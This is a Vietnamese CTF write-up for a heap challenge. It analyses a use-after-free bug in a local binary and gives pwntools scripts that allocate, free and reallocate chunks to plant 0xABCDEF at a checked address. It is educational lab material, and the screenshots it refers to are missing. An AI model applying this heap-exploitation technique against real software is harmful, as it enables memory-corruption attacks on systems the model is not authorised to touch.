😫Heap 1
Use after free
Challenge


Overview
Hàm main()

Hàm menu()

Hàm input()
Hàm option2()

Hàm option4()

Hàm option1()

Analysis
Tại hàm option4():

Đầu tiên nó sẽ mov giá trị của địa chỉ 0x6020f0
vào thanh ghi rax
. Và làm các bước tiếp theo như trên ảnh tôi đã đánh các số tương ứng.

Tức là để thỏa mãn điều kiện trên thì địa chỉ của 0x6020F8
phải chứa giá trị 0xABCDEF
.
Do chương trình bị stripped nên tôi sẽ không dùng gdb để phân tích trực tiếp mà tôi sẽ thông qua pwntools.
Script đầu tiên:
from pwn import *
elf = context.binary = ELF("./pwn1_ff")
r = elf.process()
gdb.attach(r, '''
b*0x400d01\n
c
''')
def choose(option):
r.sendlineafter(b">\n", str(option).encode())
def create(size, payload:bytes):
r.sendlineafter(b"Input size:", str(size).encode())
r.sendlineafter(b"Input data:", payload)
choose(1)
create(24, p64(0xABCDEF)*5)
choose(1)
create(24, p64(0xABCDEF)*5)
choose(1)
create(24, p64(0xABCDEF)*5)
r.interactive()
Đây là các chunk sau khi tôi gọi hàm option1 3 lần


Sau khi bạn malloc đủ nhiều thì địa chỉ mà ta cần so sánh sẽ nằm trong các chunk. Như ảnh bên dưới thì lần cấp phát thứ 3 đã đè lên địa chỉ đó.

Bây giờ tôi sẽ free chunk đó. Sau đó thì cấp phát lại với kích thước tương tự để nó sử dụng địa chỉ chunk vừa được free.
create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
free(2)


Sau khi chunk được cấp phát lại thì địa chỉ 0x6020f0 chứa địa chỉ của chunk thứ 2 chứ không phải chunk đầu tiên như ảnh trên nữa. Và các chunk cũng đổi chỗ cho nhau luôn.
Nhìn vào đoạn code assembly ở option4 để hiểu vì sao tôi lại so sánh giá trị 0x019490b8
thay vì địa chỉ 0x6020f8
.


Việc cuối cùng tôi cần làm đó là gọi option4

Giải thích
Khi gọi lại hàm option1 3 lần thì ta sẽ có những chunk với các địa chỉ sau đây:

Nhìn bằng sơ đồ thì bạn có thể thấy như sau:

Sau khi free 2 chunk cuối cùng bằng option 2:


Và sau khi cấp phát lại bằng 2 lệnh sau

Thì phần dữ liệu đã hoàn toàn bị đảo ngược

Full code:
from pwn import *
elf = context.binary = ELF("./pwn1_ff")
r = elf.process()
gdb.attach(r, '''
b*0x400d01\n
c
''')
def create(size, payload:bytes):
r.sendlineafter(b">\n", str(1).encode())
r.sendlineafter(b"Input size:", str(size).encode())
r.sendlineafter(b"Input data:", payload)
def free(index):
r.sendlineafter(b">\n", str(2).encode())
r.sendlineafter(b"Input index:", str(index).encode())
create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
create(24, p64(0xABCDEF)*5)
free(2)
create(24, p64(0xABCDEF)*5)
r.sendline(str(4).encode())
r.interactive()
Kết luận:
Có thể thấy đây là lỗi useAfterfree (UAF)
Last updated